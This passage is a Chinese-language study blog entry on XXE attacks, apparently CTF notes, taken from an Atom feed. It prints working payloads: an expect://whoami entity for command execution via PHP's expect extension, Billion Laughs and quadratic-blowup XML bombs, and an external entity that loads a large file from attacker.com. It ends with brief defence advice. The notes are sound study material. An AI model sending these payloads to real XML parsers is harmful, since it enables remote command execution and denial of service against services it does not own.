文章这里的 看的有些乏力 结合出的题<br>大概就是Java 会把 <code>jar.zip</code> <strong>完整下载</strong> 写入 本地临时目录 最后利用不存在的文件去报错得到zip的真正所在的目录</p><h4 id="一些特殊的xxe"><a href="#一些特殊的xxe" class="headerlink" title="一些特殊的xxe"></a>一些特殊的xxe</h4><ol><li>PHP 的 expect 并不是默认安装扩展，如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&lt;?xml version=&quot;1.0&quot;?&gt;</span><br><span class="line">&lt;!DOCTYPE r [</span><br><span class="line">  &lt;!ENTITY xxe SYSTEM &quot;expect://whoami&quot;&gt;</span><br><span class="line">]&gt;</span><br><span class="line">&lt;r&gt;&amp;xxe;&lt;/r&gt;</span><br></pre></td></tr></table></figure><p>expect:&#x2F;&#x2F;后面的就是可以直接执行的系统命令<br>2. DOS攻击 这个貌似在ctf里面很难能出题（只是我的猜想 毕竟服务都打挂了….）<br>不过了解到了这种基于xxe的dos攻击<br>Billion Laughs（指数级爆炸）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">&lt;?xml version=&quot;1.0&quot;?&gt;</span><br><span class="line">&lt;!DOCTYPE lolz [</span><br><span class="line">  &lt;!ENTITY a &quot;lol&quot;&gt;</span><br><span class="line">  &lt;!ENTITY b &quot;&amp;a;&amp;a;&amp;a;&amp;a;&amp;a;&amp;a;&amp;a;&amp;a;&amp;a;&amp;a;&quot;&gt;</span><br><span class="line">  &lt;!ENTITY c &quot;&amp;b;&amp;b;&amp;b;&amp;b;&amp;b;&amp;b;&amp;b;&amp;b;&amp;b;&amp;b;&quot;&gt;</span><br><span class="line">  &lt;!ENTITY d &quot;&amp;c;&amp;c;&amp;c;&amp;c;&amp;c;&amp;c;&amp;c;&amp;c;&amp;c;&amp;c;&quot;&gt;</span><br><span class="line">]&gt;</span><br><span class="line">&lt;lolz&gt;&amp;d;&lt;/lolz&gt;</span><br></pre></td></tr></table></figure><p>Quadratic Blowup（平方级膨胀）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">&lt;?xml version=&quot;1.0&quot;?&gt;</span><br><span class="line">&lt;!DOCTYPE test [</span><br><span class="line">  &lt;!ENTITY x &quot;AAAAAAAAAA&quot;&gt;</span><br><span class="line">]&gt;</span><br><span class="line">&lt;root&gt;</span><br><span class="line">  &amp;x;&amp;x;&amp;x;&amp;x;&amp;x;&amp;x;&amp;x;&amp;x;&amp;x;&amp;x;</span><br><span class="line">  &amp;x;&amp;x;&amp;x;&amp;x;&amp;x;&amp;x;&amp;x;&amp;x;&amp;x;&amp;x;</span><br><span class="line">&lt;/root&gt;</span><br></pre></td></tr></table></figure><p>External Entity Bomb（外部实体 DoS）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&lt;?xml version=&quot;1.0&quot;?&gt;</span><br><span class="line">&lt;!DOCTYPE root [</span><br><span class="line">  &lt;!ENTITY xxe SYSTEM &quot;http://attacker.com/big.txt&quot;&gt;</span><br><span class="line">]&gt;</span><br><span class="line">&lt;root&gt;&amp;xxe;&lt;/root&gt;</span><br></pre></td></tr></table></figure><p>去加载一个超大的资源<br>或者是自己访问&#x2F;dev&#x2F;zero  永远不返回 EOF</p><h4 id="关于防御"><a href="#关于防御" class="headerlink" title="关于防御"></a>关于防御</h4><p>禁止回显（但是其实没啥大作用 外带情况太多了） 禁掉外部实体 这个太重要了 几乎能ban完了 貌似除了DOS 后端再加上一些黑名单的话 攻击者基本不能做什么</p><p>看的文章是<a href="https://xz.aliyun.com/news/2994">https://xz.aliyun.com/news/2994</a></p>]]>
    </content>
    <id>http://47.109.24.42/2025/01/06/XXE/</id>
    <link href="http://47.109.24.42/2025/01/06/XXE/"/>
    <published>2025-01-06T14:00:00.000Z</published>
    <summary>
      <![CDATA[<h4 id="什么是XXE"><a href="#什么是XXE" class="headerlink" title="什么是XXE"></a>什么是XXE</h4><p>XXE(XML External Entity Injection) 全称为 XML 外部实体注入 XML注]]>
    </summary>
    <title>XXE</title>
    <updated>2025-01-06T14:00:00.000Z</updated>
  </entry>
</feed>
